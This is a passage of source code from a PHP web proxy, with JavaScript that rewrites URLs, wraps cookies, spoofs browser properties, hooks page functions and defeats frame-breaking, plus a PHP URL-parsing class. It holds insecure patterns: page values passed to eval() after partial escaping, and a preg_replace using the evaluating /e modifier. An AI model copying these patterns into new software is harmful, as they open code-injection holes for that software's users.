  1637.         url.match(<?php echo(FRAME_LOCK_REGEXP); ?>) ||
  1638.         !url.match(<?php echo(AURL_LOCK_REGEXP); ?>)
  1639.     ) return url;
  1640.     // urldecode()
  1641.     return this.pe.proxdec(decodeURIComponent(
  1642.         url.substring(url.indexOf('?')+1).replace(
  1643.             <?php echo(PAGETYPE_REGEXP); ?>,"\$2")));
  1644. },
  1645.  
  1646. add_querystuff:function(url,querystuff){
  1647.     var pos=url.indexOf('?');
  1648.     return url.substr(0,pos+1)+querystuff+url.substr(pos+1,url.length-pos);
  1649. },
  1650.  
  1651. preg_match_all:function(regexpstr,string){
  1652.     var matcharr=new Array();
  1653.     var regexp=new RegExp(regexpstr);
  1654.     var result;
  1655.     while(true){
  1656.         result=regexp.exec(string);
  1657.         if(result!=null) matcharr.push(result);
  1658.         else break;
  1659.     }
  1660.     return matcharr;
  1661. },
  1662.  
  1663. framify_url:function(url,frame_type){
  1664.     if(frame_type===<?php echo(PAGETYPE_NULL); ?>)
  1665.         return url;
  1666.     var urlquote="";
  1667.     if(
  1668.         (url.substring(0,1)=="\"" || url.substring(0,1)=="'") &&
  1669.         url.substring(0,1)==url.substring(url.length-1,url.length)
  1670.     ){
  1671.         urlquote=url.substring(0,1);
  1672.         url=url.substring(1,url.length-1);
  1673.     }
  1674.     if(!url.match(<?php echo(FRAME_LOCK_REGEXP); ?>)){
  1675.         var query;
  1676.         if(frame_type===<?php echo(PAGETYPE_FRAME_TOP); ?>)
  1677.             query='&=';
  1678.         else if(frame_type===<?php echo(PAGETYPE_FRAMED_CHILD); ?>) query='.&=';
  1679.         else if(
  1680.             frame_type===<?php echo(PAGETYPE_FRAMED_PAGE); ?> ||
  1681.             this.PAGE_FRAMED
  1682.         ) query='_&=';
  1683.         else query='';
  1684.         url=url.replace(
  1685.             /^([^\?]*)[\?]?<?php echo(PAGETYPE_MINIREGEXP); ?>([^#]*?[#]?.*?)$/,
  1686.             '\$1?='+query+'\$3');
  1687.     }
  1688.     if(urlquote!="") url=urlquote+url+urlquote;
  1689.     return url;
  1690. },
  1691.  
  1692. parse_html:function(regexp,partoparse,html,addproxy,framify){
  1693.     var match,begin,end,nurl;
  1694.     if(html.match(regexp)){
  1695.         var matcharr=this.preg_match_all(regexp,html);
  1696.         var newhtml="";
  1697.         for(var key in matcharr){
  1698.             /*match=matcharr[i];
  1699.             nurl=this.surrogafy_url(match[partoparse],undefined,addproxy);
  1700.             nhtml=match[0].replace(match[partoparse],nurl);
  1701.             html=html.replace(match[0],nhtml);*/
  1702.             match=matcharr[key];
  1703.             if(match[partoparse]!=undefined){
  1704.                 begin=html.indexOf(match[partoparse]);
  1705.                 end=begin+match[partoparse].length;
  1706.                 nurl=this.surrogafy_url(match[partoparse],undefined,addproxy);
  1707.                 if(framify) nurl=this.framify_url(nurl,framify);
  1708.                 newhtml+=html.substring(0,begin)+nurl;
  1709.                 html=html.substring(end);
  1710.             }
  1711.         }
  1712.         html=newhtml+html;
  1713.     }
  1714.     return html;
  1715. },
  1716.  
  1717. parse_all:function(){
  1718.     if(arguments[0]==null) return;
  1719.     var html=arguments[0].toString();
  1720.     var key;
  1721.     for(var key in regexp_arrays){
  1722.         if((arguments.length>1 && key!=arguments[1]) || key=='text/javascript')
  1723.             continue;
  1724.         arr=regexp_arrays[key];
  1725.         for(var regexp_arraykey in arr){
  1726.             regexp_array=arr[regexp_arraykey];
  1727.             if(regexp_array[0]==undefined) continue;
  1728.             if(regexp_array[0]==1)
  1729.                 html=html.replace(regexp_array[1],regexp_array[2]);
  1730.             else if(regexp_array[0]==2){
  1731.                 addproxy=(regexp_array.length>3?regexp_array[3]:true);
  1732.                 framify=(regexp_array.length>4?regexp_array[4]:false);
  1733.                 html=this.parse_html(
  1734.                     regexp_array[1],regexp_array[2],html,addproxy,framify);
  1735.             }
  1736.         }
  1737.     }
  1738.     return html;
  1739. },
  1740.  
  1741. form_button:null,
  1742. form_encrypt:function(form){
  1743.     if(form.method=='post') return true;
  1744.     //action=form.<php echo(COOK_PREF); ?>.value;
  1745.     var action=form.getElementsByName(this.COOK_PREF)[0].value;
  1746.     for(var i=1;i<form.elements.length;i++){
  1747.         if(
  1748.             form.elements[i].disabled || form.elements[i].name=='' ||
  1749.             form.elements[i].value=='' || form.elements[i].type=='reset'
  1750.         ) continue;
  1751.         if(form.elements[i].type=='submit'){
  1752.             if(form.elements[i].name!=this.form_button) continue;
  1753.             this.form_button=null;
  1754.         }
  1755.         var pref;
  1756.         if(!action.match(/\?/)) pref="?";
  1757.         else pref="&";
  1758.         action+=pref+form.elements[i].name+"="+form.elements[i].value;
  1759.     }
  1760.     location.href=this.surrogafy_url(action);
  1761.     return false;
  1762. },
  1763.  
  1764. isParseAttr:function(obj,attr){
  1765.     var ret=false;
  1766.     for(var parse_attr in this.parse_attrs){
  1767.         if(attr==parse_attr){
  1768.             for(var parse_obj in this.parse_attrs[parse_attr]){
  1769.                 var test_obj=this.parse_attrs[parse_attr][parse_obj];
  1770.                 if(
  1771.                     (typeof(test_obj)=="object" && test_obj==obj) ||
  1772.                     (typeof(test_obj)=="string" && (
  1773.                         test_obj=='' || test_obj==obj.toString() || (
  1774.                             obj.tagName &&
  1775.                             test_obj.toUpperCase()==obj.tagName
  1776.                         )
  1777.                     ))
  1778.                 ){
  1779.                     ret=true;
  1780.                     break;
  1781.                 }
  1782.             }
  1783.         }
  1784.     }
  1785.     return ret;
  1786. },
  1787.  
  1788. setAttr:function(obj,attr,val){
  1789.     // not the right type, die
  1790.     if(obj===undefined || attr===undefined)
  1791.         return undefined;
  1792.     if(obj===null || attr===null)
  1793.         return null;
  1794.  
  1795.     // clean off attribute's regexp slashes
  1796.     if(typeof(attr)==typeof(/ /)){
  1797.         attr=attr.toString();
  1798.         attr=attr.substr(1,attr.length-2);
  1799.     }
  1800.  
  1801.     // if it's null or undefined, nothing needs to be done
  1802.     if(val===undefined || val===null){
  1803.         this.doSet(obj,attr,val);
  1804.         return val;
  1805.     }
  1806.  
  1807.     if(attr=="innerHTML"){
  1808.         this.doSet(obj,attr,this.parse_all(val));
  1809.         return obj[attr];
  1810.     }
  1811.  
  1812.     if(val=="bottom" || val=="right"){
  1813.         return obj[attr];
  1814.     }
  1815.  
  1816.     if(obj==document && attr=="cookie"){
  1817.         var COOK_REG=/^([^=]*)=([^;]*)(?:;[\s\S]*?)?$/i;
  1818.         var realhost=
  1819.             this.LOCATION_HOSTNAME.replace("/^www/i","").replace(".","_");
  1820.         var cookkey=val.replace(COOK_REG,"\$1");
  1821.         var cookval=val.replace(COOK_REG,"\$2");
  1822.         if(this.ENCRYPT_COOKIES){
  1823.             cookkey=proxenc(cookkey);
  1824.             cookval=proxenc(cookval);
  1825.         }
  1826.         var newcookie=
  1827.             realhost+"<?php echo(COOKIE_SEPARATOR); ?>"+
  1828.             cookkey+"="+cookval+"; ";
  1829.         document.cookie=newcookie;
  1830.         return newcookie;
  1831.     }
  1832.  
  1833.     if(obj==location && attr=="hostname") return this.LOCATION_HOSTNAME;
  1834.  
  1835.     if(obj==location && attr=="search"){
  1836.         if(val.substr(0,1)=="?") val=val.substr(1);
  1837.         this.curr_urlobj.set_query(val);
  1838.         val=this.curr_urlobj.get_url();
  1839.         attr="href";
  1840.     }
  1841.  
  1842.     var proxval=val;
  1843.     if(this.isParseAttr(obj,attr)){
  1844.         proxval=this.surrogafy_url(val);
  1845.  
  1846.         // tags framified must match REGEXPS with regexp_array[5]
  1847.         if(obj.tagName=="A" || obj.tagName=="AREA")
  1848.             proxval=this.framify_url(
  1849.                 proxval,<?php echo(COOK_PREF); ?>.NEW_PAGETYPE_FRAME_TOP);
  1850.         else if(obj.tagName=="FRAME" || obj.tagName=="IFRAME")
  1851.             proxval=this.framify_url(
  1852.                 proxval,<?php echo(PAGETYPE_FRAMED_CHILD); ?>);
  1853.     }
  1854.  
  1855.     if(this.URL_FORM){
  1856.         if(
  1857.             (obj==location && attr=="href") ||
  1858.             (attr=="location" && typeof(val)==typeof("")) // <---------------.
  1859.         ){                                                //                  \
  1860.             urlobj=this.surrogafy_url_toobj(val);         //                   |
  1861.             if(!urlobj.locked) proxval=this.add_querystuff(proxval,"=&"); //   |
  1862.             ret=this.thetop.location.href=proxval;                        //   |
  1863.         }                                                                 //   |
  1864.         else if(attr=="location"){ // only proxy the value if it is a string __/
  1865.             ret=this.doSet(obj,attr,val);
  1866.         }
  1867.         else ret=this.doSet(obj,attr,proxval);
  1868.     }
  1869.     else ret=this.doSet(obj,attr,proxval);
  1870.  
  1871.     return ret;
  1872. },
  1873.  
  1874. doSet:function(obj,attr,val){
  1875.     if(typeof(val)!="function" && typeof(val)!="object"){
  1876.         if(isNaN(val) || typeof(val)==typeof(""))
  1877.             val="\""+this.doEscape(val)+"\"";
  1878.  
  1879.         try{ // in case there is only a getter
  1880.             obj[attr]=eval(val);
  1881.         } catch(e) {} // ignore it
  1882.  
  1883.     } else { // same as above
  1884.         try{ // in case there is only a getter
  1885.             obj[attr]=val;
  1886.         } catch(e) {} // ignore it
  1887.     }
  1888.  
  1889.     return obj[attr];
  1890. },
  1891.  
  1892. doEscape:function(val){
  1893.     if(typeof(val)==typeof("")){
  1894.         val=val.replace(/\\/g,"\\\\",val);
  1895.         val=val.replace(/\n/g,"\\n",val);
  1896.         val=val.replace(/\"/g,"\\\"",val);
  1897.     }
  1898.     return val;
  1899. },
  1900.  
  1901. getAttr:function(obj,attr){
  1902.     if(obj===undefined)
  1903.         return undefined;
  1904.  
  1905.     if(typeof(attr)==typeof(/ /)){
  1906.         attr=attr.toString();
  1907.         attr=attr.substr(1,attr.length-2);
  1908.     }
  1909.  
  1910.     if(obj==window && attr=="top"){
  1911.         return window;
  1912.     }
  1913.  
  1914.     if(obj==document && attr=="cookie"){
  1915.         var ocookies=this.getCookieArr();
  1916.         var cookies="",ocook;
  1917.         var COOK_REG=
  1918.             /^([\s\S]*)<?php echo(COOKIE_SEPARATOR); ?>([^=]*)=([\s\S]*)(?:; )?$/ig;
  1919.         for(var key in ocookies){
  1920.             ocook=ocookies[key];
  1921.             if(typeof(ocook)!=typeof("")) continue;
  1922.             if(ocook.match(COOK_REG)==null) continue;
  1923.             var realhost=
  1924.                 this.LOCATION_HOSTNAME.replace("/^www/ig","").replace(".","_");
  1925.             var cookhost=ocook.replace(COOK_REG,"\$1");
  1926.             if(cookhost==realhost){
  1927.                 if(this.ENCRYPT_COOKIES){
  1928.                     var cookkey=this.pe.proxdec(ocook.replace(COOK_REG,"\$2"));
  1929.                     var cookval=this.pe.proxdec(ocook.replace(COOK_REG,"\$3"));
  1930.                     cookies+=cookkey+"="+cookval+"; ";
  1931.                 }
  1932.                 else cookies+=ocook.replace(COOK_REG,"\$2=\$3; ");
  1933.             }
  1934.         }
  1935.         return cookies;
  1936.     }
  1937.  
  1938.     if(obj==navigator){
  1939.         if(this.USERAGENT=="-1" && (attr!="plugins" && attr!="mimeType"))
  1940.             return undefined;
  1941.         if(this.USERAGENT=="") return obj[attr];
  1942.         var msie=this.USERAGENT.match(/msie/ig);
  1943.         var UA_REG=
  1944.             /^([^\/\(]*)\/?([^ \(]*)[ ]*(\(?([^;\)]*);?([^;\)]*);?([^;\)]*);?([^;\)]*);?([^;\)]*);?[^\)]*\)?)[ ]*([^ \/]*)\/?([^ \/]*).*$/ig;
  1945.         switch(attr){
  1946.             case "appName":
  1947.                 var tempappname=(
  1948.                     msie?
  1949.                     "Microsoft Internet Explorer":
  1950.                     this.USERAGENT.replace(UA_REG,"\$1")
  1951.                 );
  1952.                 if(tempappname=="Opera" || tempappname=="Mozilla")
  1953.                     tempappname="Netscape";
  1954.                 return tempappname;
  1955.             case "appCodeName": return this.USERAGENT.replace(UA_REG,"\$1");
  1956.             case "appVersion":
  1957.                 return (
  1958.                     msie?
  1959.                     this.USERAGENT.replace(UA_REG,"\$2 \$3"):
  1960.                     this.USERAGENT.replace(UA_REG,"\$2 (\$4; \$7)")
  1961.                 );
  1962.             case "language":
  1963.                 return (msie?undefined:this.USERAGENT.replace(UA_REG,"\$7"));
  1964.             case "mimeType": return navigator.mimeType;
  1965.             case "oscpu":
  1966.                 return (msie?undefined:this.USERAGENT.replace(UA_REG,"\$6"));
  1967.             case "platform":
  1968.                 var tempplatform=this.USERAGENT.replace(UA_REG,"\$4");
  1969.                 return (
  1970.                     tempplatform=="compatible" || tempplatform=="Windows"?
  1971.                     "Win32":
  1972.                     this.USERAGENT.replace(UA_REG,"\$6")
  1973.                 );
  1974.             case "plugins":
  1975.                 return (
  1976.                     !<?php echo(COOK_PREF); ?>.REMOVE_OBJECTS?
  1977.                     navigator.plugins:
  1978.                     undefined
  1979.                 );
  1980.             case "product":
  1981.                 return (msie?undefined:this.USERAGENT.replace(UA_REG,"\$9"));
  1982.             case "productSub":
  1983.                 return (msie?undefined:this.USERAGENT.replace(UA_REG,"\$10"));
  1984.             case "userAgent": return this.USERAGENT;
  1985.             default: return undefined;
  1986.         }
  1987.     }
  1988.  
  1989.     var val;
  1990.     if(obj==location && attr=="search") val=location.href;
  1991.     else val=obj[attr];
  1992.  
  1993.     // just a string
  1994.     if(this.isParseAttr(obj,attr))
  1995.         val=this.de_surrogafy_url(val);
  1996.  
  1997.     if(obj==location && attr=="search") val=val.replace(/^[^?]*/g,"");
  1998.     if(obj==document && attr=="domain") val=this.aurl.get_servername();
  1999.     // we have to get at it first for documentBodyAppendChild to work... might
  2000.     // as well spy on their stuff while we are at it
  2001.     if(obj==document && attr=="body"){
  2002.         this.appendChildInit();
  2003.     }
  2004.     return val;
  2005. },
  2006.  
  2007. getAttrNode:function(obj,attr){
  2008.     var node=obj.getAttributeNode(attr);
  2009.     if(node==null)
  2010.         return null;
  2011.  
  2012.     var val=this.getAttr(obj,attr);
  2013.     node.baseURI=this.de_surrogafy_url(node.baseURI);
  2014.  
  2015.     if(this.isParseAttr(obj,attr)){
  2016.         node.nodeValue=val;
  2017.         node.textContent=val;
  2018.         node.value=val;
  2019.     }
  2020.     return node;
  2021. },
  2022.  
  2023. eventify:function(a1,a2){
  2024.     document.getElementsByTagName("head")[0].addEventListener("load",function(){
  2025.         <?php echo(COOK_PREF); ?>.setParentStuff(a1,a2);
  2026.     },false);
  2027.     window.addEventListener("load",function(){
  2028.         <?php echo(COOK_PREF); ?>.setParentStuff(a1,a2);
  2029.     },false);
  2030.     this.setParentURL(this.CURR_URL);
  2031. },
  2032.  
  2033. setParentURL:function(url){
  2034.     if(
  2035.         this.thetop!=null && this.thetop!=window && this.thetop.document!=null
  2036.         && this.thetop.document.getElementById('url')!=null
  2037.     ){
  2038.         this.thetop.document.getElementById('url').value=url;
  2039.         this.thetop.document.getElementById('proxy_link').href=
  2040.             this.add_querystuff(this.surrogafy_url(url),"=-&");
  2041.     }
  2042. },
  2043.  
  2044. // amazing creativity with the name on my part
  2045. setParentStuff:function(proto,server){
  2046.     var topdoc=this.thetop.document;
  2047.     topdoc.title=document.title;
  2048.  
  2049.     // find and set shortcut icon
  2050.     var tophead=topdoc.getElementsByTagName("head")[0];
  2051.     var links=tophead.getElementsByTagName("link");
  2052.     var link=null;
  2053.     for(var i=0; i<links.length; i++){
  2054.         if(links[i].type=="image/x-icon" && links[i].rel=="shortcut icon")
  2055.             link=links[i];
  2056.     }
  2057.  
  2058.     if(tophead.getElementsByTagName("link").length>0)
  2059.         tophead.removeChild(topdoc.getElementsByTagName("link")[0]);
  2060.  
  2061.     var favicon=topdoc.createElement("link");
  2062.     favicon.type="image/x-icon";
  2063.     favicon.rel="shortcut icon";
  2064.     favicon.href=(
  2065.         link==null?
  2066.         this.surrogafy_url(proto+"://"+server+"/favicon.ico"):
  2067.         link.href
  2068.     );
  2069.     tophead.appendChild(favicon);
  2070. },
  2071.  
  2072. XMLHttpRequest_wrap:function(xmlhttpobj){
  2073.     xmlhttpobj.<?php echo(COOK_PREF); ?>_open=xmlhttpobj.open;
  2074.     xmlhttpobj.open=<?php echo(COOK_PREF); ?>.XMLHttpRequest_open;
  2075.     return xmlhttpobj;
  2076. },
  2077.  
  2078. XMLHttpRequest_open:function(){
  2079.     if(arguments.length<2) return;
  2080.     arguments[1]=<?php echo(COOK_PREF); ?>.surrogafy_url(arguments[1]);
  2081.     return this.<?php echo(COOK_PREF); ?>_open.apply(this,arguments);
  2082. },
  2083.  
  2084. // this has to be really aggressive to break a race
  2085. bodyInterval:
  2086.     setInterval("<?php echo(COOK_PREF); ?>.appendChildInit();",100),
  2087. documentHeadAppendChild:function(){
  2088.     var child=arguments[0];
  2089.  
  2090.     if(typeof(child)=="object"){
  2091.         for(var attr in child){
  2092.             if(<?php echo(COOK_PREF); ?>.isParseAttr(child,attr)){
  2093.                 <?php echo(COOK_PREF); ?>.setAttr(child,attr,child[attr]);
  2094.             }
  2095.         }
  2096.     }
  2097.  
  2098.     var head=document.getElementsByTagName("head")[0];
  2099.     return head.appendChild_<?php echo(COOK_PREF); ?>.call(head,child);
  2100. },
  2101. documentBodyAppendChild:function(){
  2102.     var child=arguments[0];
  2103.  
  2104.     if(typeof(child)=="object"){
  2105.         for(var attr in child){
  2106.             if(<?php echo(COOK_PREF); ?>.isParseAttr(child,attr)){
  2107.                 <?php echo(COOK_PREF); ?>.setAttr(child,attr,child[attr]);
  2108.             }
  2109.         }
  2110.     }
  2111.  
  2112.     return document.body.appendChild_<?php echo(COOK_PREF); ?>.call(
  2113.         document.body,child
  2114.     );
  2115. },
  2116. appendChildInit:function(){
  2117.     if(document.body && !document.body.appendChild_<?php echo(COOK_PREF); ?>){
  2118.         if(document.body && document.body.appendChild){
  2119.             // this MUST be under document.body because it appends to "this",
  2120.             // which would otherwise mean the COOK_PREF object
  2121.             document.body.appendChild_<?php echo(COOK_PREF); ?>=
  2122.                 document.body.appendChild;
  2123.             document.body.appendChild=
  2124.                 <?php echo(COOK_PREF); ?>.documentBodyAppendChild;
  2125.  
  2126.             var head=document.getElementsByTagName("head")[0];
  2127.             if(head && head.appendChild){
  2128.                 head.appendChild_<?php echo(COOK_PREF); ?>=head.appendChild;
  2129.                 head.appendChild=
  2130.                     <?php echo(COOK_PREF); ?>.documentHeadAppendChild;
  2131.             }
  2132.             clearInterval(<?php echo(COOK_PREF); ?>.bodyInterval);
  2133.         }
  2134.     }
  2135. },
  2136.  
  2137.  
  2138. // WRAPPED FUNCTIONS AND OBJECTS
  2139. thetop:top,
  2140. theparent:parent,
  2141. setTimeout:window.setTimeout,
  2142. setInterval:window.setInterval,
  2143. document_write_queue:"",
  2144. purge:function(){
  2145.     thehtml=this.document_write_queue;
  2146.     if(thehtml=="") return;
  2147.     thehtml=this.parse_all(thehtml);
  2148.     this.document_write_queue="";
  2149.     document.write_<?php echo(COOK_PREF); ?>(thehtml);
  2150. },
  2151.  
  2152. purge_noparse:function(){
  2153.     thehtml=this.document_write_queue;
  2154.     if(thehtml=="") return;
  2155.     this.document_write_queue="";
  2156.     document.write_<?php echo(COOK_PREF); ?>(thehtml);
  2157. }
  2158.  
  2159. }
  2160.  
  2161. <?php } ?>
  2162.  
  2163. // }}}
  2164.  
  2165. // JAVASCRIPT FUNCS: WRAPPING/HOOKING {{{
  2166.  
  2167. <?php if($do_wrap){ ?>
  2168.  
  2169. document.write_<?php echo(COOK_PREF); ?>=document.write;
  2170. document.writeln_<?php echo(COOK_PREF); ?>=document.writeln;
  2171. document.write=function(html){
  2172.     <?php echo(COOK_PREF); ?>.document_write_queue+=html;
  2173. }
  2174. document.writeln=function(html){
  2175.     <?php echo(COOK_PREF); ?>.document_write_queue+=html+"\n";
  2176. }
  2177.  
  2178. window.open_<?php echo(COOK_PREF); ?>=window.open;
  2179. window.open=document.open=function(){
  2180.     if(arguments.length<1) return;
  2181.     var url=<?php echo(COOK_PREF); ?>.surrogafy_url(arguments[0]);
  2182.     if(
  2183.         (url.substring(0,1)=="\"" || url.substring(0,1)=="'") &&
  2184.         url.substring(0,1)==url.substring(url.length-1,url.length)
  2185.     ) url=url.substring(1,url.length-1);
  2186.     arguments[0]=url;
  2187.     return window.open_<?php echo(COOK_PREF); ?>.apply(this.caller,arguments);
  2188. }
  2189.  
  2190. setTimeout=function(){
  2191.     if(arguments.length<1) return;
  2192.     if(typeof(arguments[0])==typeof("")){
  2193.         arguments[0]=<?php echo(COOK_PREF); ?>.parse_all(
  2194.             arguments[0],"application/x-javascript");
  2195.     }
  2196.     return <?php echo(COOK_PREF); ?>.setTimeout.apply(this,arguments);
  2197. }
  2198.  
  2199. setInterval=function(){
  2200.     if(arguments.length<1) return;
  2201.     if(typeof(arguments[0])==typeof("")){
  2202.         arguments[0]=<?php echo(COOK_PREF); ?>.parse_all(
  2203.             arguments[0],"application/x-javascript");
  2204.     }
  2205.     return <?php echo(COOK_PREF); ?>.setInterval.apply(this,arguments);
  2206. }
  2207.  
  2208. if(window.attachEvent){
  2209.     window.attachEvent(
  2210.         "onload",<?php echo(COOK_PREF); ?>.appendChildInit, false
  2211.     );
  2212. }
  2213. if(document.addEventListener){
  2214.     document.addEventListener("DOMContentLoaded",
  2215.         <?php echo(COOK_PREF); ?>.appendChildInit, false
  2216.     );
  2217. }
  2218.  
  2219. // things that have to be wrapped after page has loaded
  2220.  
  2221. /* hooking for eval(), not necessary anymore, but worked relatively well in the
  2222.  * past
  2223. /*eval_<?php echo(COOK_PREF); ?>=eval;
  2224. eval=function(){
  2225.     if(arguments.length<1) return;
  2226.     arguments[0]=<?php echo(COOK_PREF); ?>.parse_all(
  2227.         arguments[0],"application/x-javascript");
  2228.     return eval_<?php echo(COOK_PREF); ?>.apply(this.caller,arguments);
  2229. }*/
  2230.  
  2231. // wrap top and parent objects for anti-frame breaking
  2232. if(<?php echo(COOK_PREF); ?>.PAGE_FRAMED){
  2233.     <?php echo(COOK_PREF); ?>.thetop.frames[0].window.top=
  2234.         <?php echo(COOK_PREF); ?>.thetop.frames[0].window;
  2235.     <?php echo(COOK_PREF); ?>.thetop.frames[0].window.parent=
  2236.         <?php echo(COOK_PREF); ?>.thetop.frames[0].window;
  2237.     top=parent=
  2238.         <?php echo(COOK_PREF); ?>.thetop.frames[0].top=
  2239.         <?php echo(COOK_PREF); ?>.thetop.frames[0].parent=
  2240.             <?php echo(COOK_PREF); ?>.thetop.frames[0].window;
  2241. }
  2242.  
  2243. <?php } ?>
  2244.  
  2245. // }}}
  2246.  
  2247. //</script><?php exit(); }
  2248.  
  2249. # }}}
  2250.  
  2251. # PRELIMINARY {{{
  2252.  
  2253. # PRELIMINARY: AURL CLASS {{{
  2254.  
  2255. # class for URL
  2256. class aurl{
  2257.     var $url,$topurl,$locked,$force_unlocked;
  2258.     var $proto,$userpass,$servername,$portval,$path,$file,$query,$label;
  2259.  
  2260.     function aurl($url,$topurl=null,$force_unlocked=false){
  2261.         global $CONFIG;
  2262.         if(strlen($url)>$CONFIG['MAXIMUM_URL_LENGTH']) $this->url=null;
  2263.         else $this->url=
  2264.             preg_replace('/&#([0-9]+);/e','chr(\1)',
  2265.             trim(str_replace('&amp;','&',
  2266.             str_replace(chr(13),'',
  2267.             str_replace(chr(10),'',
  2268.             $url)))));
  2269.         $this->topurl=$topurl;
  2270.  
  2271.         $this->force_unlocked=$force_unlocked;
  2272.         $this->determine_locked(true);
  2273.         if($this->locked) return;
  2274.  
  2275.         $urlwasvalid=true;
  2276.         if(!preg_match(URLREG,$this->url)){
  2277.             $urlwasvalid=false;
  2278.             if($this->topurl==null) $this->url=
  2279.                 'http://'.
  2280.                 (
  2281.                     $this->url{0}==':' || $this->url{0}=='/'?
  2282.                     substr($this->url,1):
  2283.                     $this->url
  2284.                 ).
  2285.                 (strpos($this->url,'/')!==false?null:'/');
  2286.             else{
  2287.                 $newurl=
  2288.                     $this->topurl->get_proto().
  2289.                     $this->get_fieldreq(2,$this->topurl->get_userpass()).
  2290.                     $this->topurl->get_servername().
  2291.                     (($this->topurl->get_portval()!=80 && (
  2292.                         $this->topurl->get_proto()=='https'?
  2293.                         $this->topurl->get_portval()!=443:
  2294.                         true
  2295.                     ))?':'.$this->topurl->get_portval():null);
  2296.                 if(strlen($this->url)>0 && $this->url{0}!='/')
  2297.                     $newurl.=$this->topurl->get_path();
  2298.                 $this->url=$newurl.$this->url;
  2299.             }
  2300.         }
  2301.  
  2302.         $this->set_proto((
  2303.             $urlwasvalid || $this->topurl==null?
  2304.             preg_replace('/^([^:\/]*).*$/','\1',$this->url):
  2305.             $this->topurl->get_proto()
  2306.         ));
  2307.         $this->set_userpass(preg_replace(URLREG,'\2',$this->url));
  2308.         $this->set_servername(preg_replace(URLREG,'\3',$this->url));
  2309.         $this->set_portval(preg_replace(URLREG,'\4',$this->url));
  2310.         $this->set_path(preg_replace(URLREG,'\5',$this->url));
  2311.         $this->set_file(preg_replace(URLREG,'\6',$this->url));
  2312.         $this->set_query(preg_replace(URLREG,'\7',$this->url));
  2313.         $this->set_label(preg_replace(URLREG,'\8',$this->url));
  2314.  
  2315.         if(!$this->locked && !preg_match(URLREG,$this->url))
  2316.             havok(7,$this->url); #*
  2317.     }
  2318.  
  2319.     function determine_locked($firstload=false){
  2320.         if($this->force_unlocked) $this->locked=false;
  2321.         elseif(preg_match(AURL_LOCK_REGEXP,$this->url)>0) $this->locked=true;
  2322.         elseif(
  2323.             (!$firstload && $this->get_url(false,false)==THIS_SCRIPT) ||
  2324.             ($firstload && $this->url==THIS_SCRIPT)
  2325.         ) $this->locked=true;
  2326.         else $this->locked=false;
  2327.     } #*
  2328.  
  2329.     function get_fieldreq($fieldno,$value){
  2330.         $fieldreqs=array(
  2331.             2 => '://'.($value!=null?"$value@":null),
  2332.             4 => ($value!=null && intval($value)!=80?':'.intval($value):null),
  2333.             7 => ($value!=null?"?$value":null),
  2334.             8 => ($value!=null?"#$value":null));
  2335.         if(!array_key_exists($fieldno,$fieldreqs))
  2336.             return (empty($value)?null:$value);
  2337.         else return $fieldreqs[$fieldno];
  2338.     }
  2339.  
  2340.     function set_proto($proto=''){
  2341.         if($this->locked) return;
  2342.         $this->proto=(!empty($proto)?$proto:'http');
  2343.     }
  2344.     function get_proto(){ return $this->proto; }
  2345.     function get_userpass(){ return $this->userpass; }
  2346.     function set_userpass($userpass=null){ $this->userpass=$userpass; }
  2347.     function get_servername(){ return $this->servername; }
  2348.     function set_servername($servername=null){ $this->servername=$servername; }
  2349.     function get_portval(){
  2350.         return (
  2351.             empty($this->portval)?
  2352.             ($this->get_proto()=='https'?'443':'80'):
  2353.             $this->portval
  2354.         );
  2355.     }
  2356.     function set_portval($port=null){
  2357.         $this->portval=strval((intval($port)!=80)?$port:null);
  2358.     }
  2359.     function get_path(){
  2360.         if(strpos($this->path,'/../')!==false)
  2361.             $this->path=
  2362.                 preg_replace('/(?:\/[^\/]+){0,1}\/\.\.\//','/',$this->path);
  2363.         if(strpos($this->path,'/./')!==false)
  2364.             while(
  2365.                 ($path=str_replace('/./','/',$this->path)) &&
  2366.                 $path!=$this->path
  2367.             ) $this->path=$path;
  2368.         return $this->path;
  2369.     }
  2370.     function set_path($path=null){ $this->path=(empty($path)?'/':$path); }
  2371.     function get_file(){ return $this->file; }
  2372.     function set_file($file=null){ $this->file=$file; }
  2373.     function get_query(){ return $this->query; }
  2374.     function set_query($query=null){ $this->query=$query; }
  2375.     function get_label(){ return $this->label; }
  2376.     function set_label($label=null){ $this->label=$label; }
  2377.  
  2378.     function get_url($withlabel=true,$withquery=true){
  2379.         if($this->locked) return $this->url;
  2380.         return
  2381.             $this->get_proto().'://'.
  2382.             ($this->get_userpass()==null?null:$this->get_userpass().'@').
  2383.             $this->get_servername().
  2384.             (
  2385.                 (
  2386.                     $this->get_proto()=='https' &&
  2387.                     intval($this->get_portval())==443
  2388.                 ) || intval($this->get_portval())==80?
  2389.                 null:
  2390.                 ':'.intval($this->get_portval())
  2391.             ).
  2392.             $this->get_path().$this->get_file().
  2393.             (
  2394.                 !$withquery || $this->get_query()==null?
  2395.                 null:
  2396.                 '?'.$this->get_query()).
  2397.             (
  2398.                 !$withlabel || $this->get_label()==null?
  2399.                 null:
  2400.                 '#'.$this->get_label()
  2401.             );
  2402.     }
  2403.  
  2404.     function surrogafy(){
  2405.         global $OPTIONS;
  2406.         $label=$this->get_label();
  2407.         $this->set_label();
  2408.         $url=$this->get_url();
  2409.         $this->set_label($label);
  2410.  
  2411.         #$this->determine_locked();
  2412.         if($this->locked) return $url;
  2413.  
  2414.         if($OPTIONS['ENCRYPT_URLS'] && !$this->locked) $url=proxenc($url);
  2415.         $url=THIS_SCRIPT."?={$url}".(!empty($label)?"#$label":null);
  2416.         return $url;
  2417.     }
  2418. }
  2419.  
  2420. # }}}
  2421.  
  2422. # PRELIMINARY: GLOBAL VARIABLE SETUP {{{
  2423.  
  2424. global $curr_urlobj;
  2425. $curr_urlobj=new aurl($curr_url);
  2426.  
  2427. global $cook_prefix, $cook_prefdomain;
  2428. $cook_prefdomain=
  2429.     preg_replace('/^www\./i','',$curr_urlobj->get_servername()); #*
  2430. $cook_prefix=str_replace('.','_',$cook_prefdomain).COOKIE_SEPARATOR;
  2431.  
  2432. # }}}
  2433.  
  2434. # }}}
  2435.  
  2436. # REGEXPS {{{
  2437.  
  2438. # This is where all the parsing is defined.  If a site isn't being
  2439. # parsed properly, the problem is more than likely in this section.
  2440. # The rest of the code is just there to set up this wonderful bunch
  2441. # of incomprehensible regular expressions.
  2442.  
  2443.  
  2444. # REGEXPS: CONVERSION TO JAVASCRIPT {{{
  2445.  
  2446. function bool_to_js($bool){ return ($bool?'true':'false'); }
  2447. function fix_regexp($regexp){
  2448.     global $js_varsect;
  2449.     global
  2450.         $js_expr_set, $js_expr2_set, $js_expr3_set, $js_expr4_set,
